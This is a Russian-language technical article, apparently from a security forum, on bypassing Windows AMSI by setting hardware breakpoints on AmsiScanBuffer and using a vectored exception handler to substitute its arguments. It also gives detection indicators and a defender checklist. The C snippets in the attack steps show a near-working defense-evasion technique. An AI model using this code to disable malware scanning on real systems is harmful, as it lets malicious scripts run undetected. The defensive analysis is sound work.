Аппаратные точки останова и попытки обхода AMSI: модель атаки и признаки для мониторинга

AMSI (Antimalware Scan Interface) — интерфейс Windows, через который приложения передают содержимое (скрипты, макросы, PowerShell-команды) на проверку антивирусному движку перед выполнением. Ключевая функция — AmsiScanBuffer из amsi.dll. Именно её атакующие пытаются нейтрализовать, чтобы вредоносный код прошёл незамеченным.

Один из методов обхода — использование аппаратных точек останова (hardware breakpoints). В отличие от программных патчей, которые модифицируют код в памяти и обнаруживаются проверкой целостности, аппаратные breakpoints работают через debug-регистры процессора и не изменяют исполняемый код.

Как работает AmsiScanBuffer​


Сигнатура функции:

C:
HRESULT AmsiScanBuffer(
    HAMSICONTEXT amsiContext,
    const void *buffer,
    ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT *result
);

ПараметрНазначение
amsiContextКонтекст, полученный при AmsiInitialize
bufferУказатель на данные для сканирования
lengthРазмер буфера
contentNameОпциональное имя контента
amsiSessionОпциональная сессия (может быть NULL)
resultУказатель на переменную результата

Когда приложение (PowerShell, WScript, .NET) вызывает AmsiScanBuffer, AMSI передаёт буфер антивирусному провайдеру. Если результат — AMSI_RESULT_DETECTED, выполнение блокируется.

Механика обхода через hardware breakpoints​


Атакующий устанавливает аппаратную точку останова на адрес AmsiScanBuffer, а затем регистрирует vectored exception handler, который перехватывает срабатывание и подменяет аргументы функции.

Шаг 1: Установка breakpoint через debug-регистры​


Процессор x86-64 предоставляет четыре debug-регистра (DR0–DR3) для адресов точек останова и DR7 для управления ими. Установка не требует записи в исполняемую память:

C:
void SetHardwareBreakpoint(void* address) {
    CONTEXT context;
    context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    HANDLE hThread = GetCurrentThread();
    if (!GetThreadContext(hThread, &context)) {
        return;
    }
    context.Dr0 = (DWORD_PTR)address;
    context.Dr7 |= 0x00000001; // Активация DR0 на исполнение
    if (!SetThreadContext(hThread, &context)) {
        return;
    }
}

Здесь Dr7 |= 0x00000001 устанавливает бит Local Enable для DR0. При достижении адреса из DR0 процессор генерирует исключение EXCEPTION_SINGLE_STEP (код 0x80000004).

Шаг 2: Перехват через Vectored Exception Handler​


C:
LONG CALLBACK VectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) {
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        // Перехват вызова AmsiScanBuffer
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

Обработчик регистрируется с наивысшим приоритетом:

C:
AddVectoredExceptionHandler(1, VectoredExceptionHandler);

Шаг 3: Модификация аргументов​


На x86-64 первые четыре аргумента передаются через регистры RCX, RDX, R8, R9. Остальные — через стек. Атакующий подменяет buffer на безвредные данные или обнуляет length:

C:
LONG CALLBACK VectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) {
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        CONTEXT* context = ExceptionInfo->ContextRecord;
        // Подмена аргументов
        context->Rcx = (DWORD_PTR)modifiedAmsiContext;
        context->Rdx = (DWORD_PTR)modifiedBuffer;   // безвредный буфер
        context->R8 = modifiedLength;               // 0 или малый размер
        context->R9 = (DWORD_PTR)modifiedContentName;
        // Аргументы в стеке (amsiSession, result)
        DWORD_PTR* stack = (DWORD_PTR*)context->Rsp;
        stack[0] = (DWORD_PTR)modifiedAmsiSession;
        stack[1] = (DWORD_PTR)&modifiedResult;
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

В результате AMSI получает пустой или подменённый буфер, возвращает AMSI_RESULT_NOT_DETECTED, и вредоносный код выполняется без проверки.

Почему этот метод сложнее обнаружить​


ХарактеристикаПрограммный патчHardware breakpoint
Изменяет код в памятиДаНет
Обнаруживается проверкой целостностиДаНет
Обнаруживается проверкой debug-регистровНетДа
Требует привилегийНетНет (для своего потока)
Оставляет артефакты в памятиДа (изменённые байты)Нет

Ключевое преимущество для атакующего: исполняемый код amsi.dll остаётся нетронутым, поэтому проверки целостности (например, сравнение хеша секции .text) не сработают.

Признаки для мониторинга и детектирования​


1. Проверка debug-регистров потоков​


Самый прямой способ — периодически читать CONTEXT с флагом CONTEXT_DEBUG_REGISTERS для потоков, исполняющих скриптовый код, и проверять, не указывают ли DR0–DR3 на адреса внутри amsi.dll.

C:
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (GetThreadContext(hThread, &ctx)) {
    if (ctx.Dr0 != 0 || ctx.Dr1 != 0 || ctx.Dr2 != 0 || ctx.Dr3 != 0) {
        // Проверить, указывают ли адреса на amsi.dll
    }
}

2. Мониторинг вызовов SetThreadContext​


Вызов SetThreadContext с флагом CONTEXT_DEBUG_REGISTERS — редкое событие для легитимного ПО. EDR может отслеживать:

  • Какой процесс вызывает SetThreadContext.
  • Какой целевой поток.
  • Какие значения записываются в DR0–DR3 и DR7.

Если целевой поток принадлежит процессу, который загружает скрипты (powershell.exe, wscript.exe, cscript.exe), а адрес из DR попадает в диапазон amsi.dll — это высокоспецифичный индикатор.

3. Мониторинг AddVectoredExceptionHandler​


Регистрация VEH с приоритетом 1 в процессе, который одновременно устанавливает hardware breakpoints, — подозрительная комбинация. Легитимные отладчики используют VEH, но они обычно не таргетируют amsi.dll.

4. Self-test вызова AmsiScanBuffer​


Защитное решение может самостоятельно вызывать AmsiScanBuffer с известным тестовым образцом и проверять, что результат — AMSI_RESULT_DETECTED. Если функция возвращает NOT_DETECTED для заведомо вредоносного паттерна, значит, вызов перехвачен или аргументы подменены.

5. Анализ аномалий в цепочке вызовов​


Если AmsiScanBuffer вызывается, но length всегда равен 0 или buffer указывает на статическую область с нулями — это признак подмены аргументов.

Ограничения метода атаки​


  • Один поток: hardware breakpoint устанавливается на конкретный поток. Если AMSI вызывается из другого потока, перехват не сработает. Атакующему нужно либо установить breakpoint на все потоки, либо перехватить создание новых.
  • Четыре слота: доступно только DR0–DR3. Если защитное решение тоже использует hardware breakpoints, возникает конфликт.
  • Обнаружение через DR7: продвинутые EDR проверяют debug-регистры при каждом подозрительном событии.
  • Kernel-mode защита: отдельные EDR-продукты могут использовать kernel-mode callback для контроля записи в debug-регистры защищённых процессов; конкретная реализация зависит от вендора и версии.

Соответствие MITRE ATT&CK​


ТактикаТехникаID
Defense EvasionImpair Defenses: Disable or Modify ToolsT1562.001
ExecutionCommand and Scripting InterpreterT1059

Практический чек-лист для защитной команды​


  • Включить мониторинг SetThreadContext с CONTEXT_DEBUG_REGISTERS для процессов, исполняющих скрипты.
  • Периодически проверять DR0–DR3 потоков в powershell.exe, wscript.exe, cscript.exe на попадание в адресное пространство amsi.dll.
  • Реализовать self-test: вызов AmsiScanBuffer с известным вредоносным паттерном и проверка ожидаемого результата.
  • Отслеживать регистрацию VEH в сочетании с ненулевыми debug-регистрами.
  • Рассматривать kernel-mode callback как дополнительный слой защиты от модификации debug-регистров, если EDR-продукт это поддерживает.

Источники​


 
Назад
Верх Низ